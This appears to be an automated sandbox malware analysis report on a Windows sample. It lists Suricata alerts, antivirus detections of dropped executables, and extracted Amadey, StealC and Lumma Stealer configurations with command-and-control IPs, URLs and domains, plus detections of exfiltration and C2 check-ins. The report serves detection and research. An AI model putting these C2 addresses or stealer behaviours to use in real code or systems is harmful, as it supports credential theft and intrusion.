Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:10.078689+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	64351	1.1.1.1	53	UDP
2024-10-24T09:08:17.696417+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	55939	1.1.1.1	53	UDP
2024-10-24T09:08:33.561899+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	62865	1.1.1.1	53	UDP
2024-10-24T09:09:05.907108+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	59275	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:10.067142+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	55770	1.1.1.1	53	UDP
2024-10-24T09:08:17.684949+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	52761	1.1.1.1	53	UDP
2024-10-24T09:08:33.499382+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	63161	1.1.1.1	53	UDP
2024-10-24T09:09:05.895810+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	65334	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:10.131288+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	54249	1.1.1.1	53	UDP
2024-10-24T09:08:17.746454+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	51560	1.1.1.1	53	UDP
2024-10-24T09:08:33.692255+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	54710	1.1.1.1	53	UDP
2024-10-24T09:09:06.039370+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	49726	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:09.986831+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	63776	1.1.1.1	53	UDP
2024-10-24T09:08:17.672293+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	55496	1.1.1.1	53	UDP
2024-10-24T09:08:33.456220+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	60512	1.1.1.1	53	UDP
2024-10-24T09:09:05.880783+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	49222	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:10.119902+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	50604	1.1.1.1	53	UDP
2024-10-24T09:08:17.734251+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	49779	1.1.1.1	53	UDP
2024-10-24T09:08:33.681340+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	56865	1.1.1.1	53	UDP
2024-10-24T09:09:05.963460+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	57453	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:10.096927+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	49585	1.1.1.1	53	UDP
2024-10-24T09:08:17.708632+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	52104	1.1.1.1	53	UDP
2024-10-24T09:08:33.603873+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	56842	1.1.1.1	53	UDP
2024-10-24T09:09:05.924026+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	61676	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:19.746315+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49740	104.21.53.8	443	TCP
2024-10-24T09:08:27.595963+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50007	104.21.53.8	443	TCP
2024-10-24T09:09:10.691225+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50082	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:40.925045+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49859	185.215.113.37	80	TCP
2024-10-24T09:08:29.659890+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50009	185.215.113.37	80	TCP
2024-10-24T09:08:41.123191+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50021	185.215.113.37	80	TCP
2024-10-24T09:08:52.666096+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50037	185.215.113.37	80	TCP
2024-10-24T09:08:59.798044+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50041	185.215.113.37	80	TCP
2024-10-24T09:09:00.731564+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50042	185.215.113.37	80	TCP
2024-10-24T09:09:16.426678+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50090	185.215.113.37	80	TCP
2024-10-24T09:09:22.988877+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50097	185.215.113.37	80	TCP
2024-10-24T09:09:33.609801+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50126	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:08:06.928463+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49995	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:08:18.604963+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49996	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:08:10.306321+0200	2803305	3	Unknown Traffic	192.168.2.6	49997	185.215.113.16	80	TCP
2024-10-24T09:08:20.436837+0200	2803305	3	Unknown Traffic	192.168.2.6	50001	185.215.113.16	80	TCP
2024-10-24T09:08:30.150223+0200	2803305	3	Unknown Traffic	192.168.2.6	50011	185.215.113.16	80	TCP
2024-10-24T09:08:37.832834+0200	2803305	3	Unknown Traffic	192.168.2.6	50016	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:09:16.112329+0200	2843864	1	A Network Trojan was detected	192.168.2.6	50091	104.21.53.8	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:11.701807+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49712	104.102.49.254	443	TCP
2024-10-24T09:08:19.252502+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49998	104.102.49.254	443	TCP
2024-10-24T09:08:35.235862+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50014	104.102.49.254	443	TCP
2024-10-24T09:09:07.533760+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50078	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.2498410813.0000000000401000.00000040.00000001.01000000.0000000A.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 40.0.num.exe.dd0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: ee8d47a049.exe.3540.14.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["bathdoomgaz.store", "clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "spirittunek.store", "licendfilteo.site", "studennotediw.store", "dissapoiznw.store"], "Build id": "LAp--Ap"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50092 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 00000007.00000003.2460947098.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 00000007.00000002.2593870400.0000000000932000.00000040.00000001.01000000.0000000B.sdmp

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:63776 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:54249 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:49585 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:55770 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:64351 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:63537 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:57999 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:50604 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49859 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49995 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:55496 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:51930 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:52104 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:61422 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:52761 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:51560 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49996
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49999 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50008 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50009 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:59233 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:60512 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:63161 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:62865 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:52875 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:56842 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:56865 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50015 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50021 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:54710 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50024 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:55939 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:49779 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50042 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50041 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50037 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:59275 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:57453 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:53241 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:61711 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:49726 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:65334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50090 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:61676 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:49222 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50097 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50126 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49740 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49714 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49712 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49766 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50007 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50012 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49998 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50081 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50081 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50092 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50080 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50082 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50002 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50002 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50080 -> 104.21.53.8:443
